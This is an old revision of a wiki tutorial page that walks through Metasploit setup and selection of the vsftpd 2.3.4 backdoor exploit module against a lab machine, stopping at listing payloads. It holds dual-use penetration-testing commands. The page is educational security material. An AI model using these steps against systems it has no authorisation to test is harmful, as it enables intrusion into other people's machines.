User Tools

Site Tools


metasploit

This is an old revision of the document!


Metasploit

Metasploit is a penetration testing toolkit that comes bundled with both Kali Linux and Parrot OS. It can also be download here. Metasploit greatly simplifies the act of finding and testing well known exploits and can save a penetration tester or security professional massive quantities of time over building these exploits by hand. It is user friendly with just some basic syntax that needs to be learned to get started. All the directions below apply to the Linux implementations of Metasploit.

Starting the Console

Before Metasploit is run for the first time the underlying database needs to be set up and initialized. This can be accomplished by running

service postgresql start

Now that the database is up and running we need to initialize it to work with Metasploit with the

msfdb-init

command.

Finding Exploits

For the purposes of this demo we already know that there is an old Ubuntu machine running at IP address 192.168.0.108, that we believe may be vulnerable to a backdoor installed in the vsftp program. The first thing we need to do then is find out if Metasploit has an exploit for this vulnerability in its database. This is easy to do with the command

search vsftp

When we run this Metasploit returns one exploit

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   

Using Exploits

To set this as the exploit that we want to use we just run the command

use exploit/unix/ftp/vsftpd_234_backdoor

We know that it worked because the command prompt changes to show the exploit name in the prompt

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > 

Before we can run the exploit we need to set a few configuration details and we can see what they are by running

show options

Metasploit responds by showing us exactly what info it needs as can be seen below

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic

The above tells us that we need to specify a host and a port for our target and it even gives us a description of the options that we need to enter. In this case we will just need to give it an IP address as the port is already set to the default. To do so we run

set rhosts 192.168.0.108

If we were to run

show options

again we would see that the rhosts field would be updated with the IP address we just entered.

Payloads

If we think of an exploit as how we get in the door, then payloads are what we do once we are in the house. Not every payload will work with every exploit, so once our exploit is set, as it is now, we can run

show payloads

and we can see a list of compatible payloads.

metasploit.1569289727.txt.gz · Last modified: 2019/09/23 20:48 by acm